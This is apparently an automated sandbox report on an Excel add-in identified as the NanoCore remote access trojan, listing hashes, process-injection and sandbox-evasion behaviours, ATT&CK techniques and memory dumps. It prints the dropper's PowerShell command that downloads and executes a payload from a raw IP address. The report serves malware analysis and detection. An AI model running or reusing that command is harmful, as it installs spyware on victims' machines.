nanocore | aac964b49d6f12b420121a28b5c856e473695e00cb5095b862ea9c0db67ed119

General

Target

Swift_Processing and monitoring.xlam
Size

19KB
MD5

e776a82944a04d1939e9ce9916c30771
SHA1

080948c7533b52301fdaa5d3be8b04d58d24aa12
SHA256

aac964b49d6f12b420121a28b5c856e473695e00cb5095b862ea9c0db67ed119
SHA512

7c9eebbc93f362ec5173ca1a06c38a920c1cff240974bab882c451fbd08d9c6799dd7c0004f8463f6b4b133bb1beedcd1227fa91feead363272f555cc9852891

Score

10^/10

nanocore keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://179.43.140.150/shtq/fack.jpg

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exeWerFault.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3008	4000	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3760	4000	WerFault.exe	EXCEL.EXE

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 3760 created 4000 3760 WerFault.exe EXCEL.EXE
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

32 3008 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3008 set thread context of 2648 3008 powershell.exe RegSvcs.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3760 4000 WerFault.exe EXCEL.EXE

description	pid	process	target process
PID 3760 created 4000	3760	WerFault.exe	EXCEL.EXE

flow	pid	process
32	3008	powershell.exe

description	pid	process	target process
PID 3008 set thread context of 2648	3008	powershell.exe	RegSvcs.exe

pid	pid_target	process	target process
3760	4000	WerFault.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4000 EXCEL.EXE

pid	process
4000	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 33 IoCs

Processes:

powershell.exeRegSvcs.exeWerFault.exe

pid	process
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
3760	WerFault.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
2648	RegSvcs.exe
2648	RegSvcs.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

RegSvcs.exe

pid process

2648 RegSvcs.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeRegSvcs.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3008 powershell.exe
Token: SeDebugPrivilege 2648 RegSvcs.exe
Token: SeDebugPrivilege 3760 WerFault.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

EXCEL.EXE

pid process

4000 EXCEL.EXE
4000 EXCEL.EXE
4000 EXCEL.EXE
4000 EXCEL.EXE
4000 EXCEL.EXE
4000 EXCEL.EXE
4000 EXCEL.EXE
4000 EXCEL.EXE

pid	process
2648	RegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	2648	RegSvcs.exe
Token: SeDebugPrivilege	3760	WerFault.exe

pid	process
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

EXCEL.EXEpowershell.exe

description	pid	process	target process
PID 4000 wrote to memory of 3008	4000	EXCEL.EXE	powershell.exe
PID 4000 wrote to memory of 3008	4000	EXCEL.EXE	powershell.exe
PID 3008 wrote to memory of 2648	3008	powershell.exe	RegSvcs.exe
PID 3008 wrote to memory of 2648	3008	powershell.exe	RegSvcs.exe
PID 3008 wrote to memory of 2648	3008	powershell.exe	RegSvcs.exe
PID 3008 wrote to memory of 2648	3008	powershell.exe	RegSvcs.exe
PID 3008 wrote to memory of 2648	3008	powershell.exe	RegSvcs.exe
PID 3008 wrote to memory of 2648	3008	powershell.exe	RegSvcs.exe
PID 3008 wrote to memory of 2648	3008	powershell.exe	RegSvcs.exe
PID 3008 wrote to memory of 2648	3008	powershell.exe	RegSvcs.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Swift_Processing and monitoring.xlam"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('http://179.43.140.150/shtq/fack.jpg')"
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3008

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:2648

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4000 -s 4048
2⤵
- Process spawned unexpected child process
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3760

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2648-187-0x0000000005170000-0x000000000566E000-memory.dmp

Filesize
5.0MB

Download
memory/2648-186-0x0000000005170000-0x000000000566E000-memory.dmp

Filesize
5.0MB

Download
memory/2648-184-0x000000000041E792-mapping.dmp

Download
memory/3008-180-0x0000000000000000-mapping.dmp

Download
memory/3008-185-0x000001F3BF6B0000-0x000001F3BF6B1000-memory.dmp

Filesize
4KB

Download
memory/3008-183-0x000001F3BD806000-0x000001F3BD808000-memory.dmp

Filesize
8KB

Download
memory/3008-181-0x000001F3BD800000-0x000001F3BD802000-memory.dmp

Filesize
8KB

Download
memory/3008-182-0x000001F3BD803000-0x000001F3BD805000-memory.dmp

Filesize
8KB

Download
memory/4000-118-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/4000-179-0x0000029C5E480000-0x0000029C5E484000-memory.dmp

Filesize
16KB

Download
memory/4000-123-0x0000029C4AAD0000-0x0000029C4C9C5000-memory.dmp

Filesize
31.0MB

Download
memory/4000-122-0x00007FFAA9DE0000-0x00007FFAAAECE000-memory.dmp

Filesize
16.9MB

Download
memory/4000-119-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/4000-114-0x00007FF678D60000-0x00007FF67C316000-memory.dmp

Filesize
53.7MB

Download
memory/4000-117-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/4000-116-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/4000-115-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads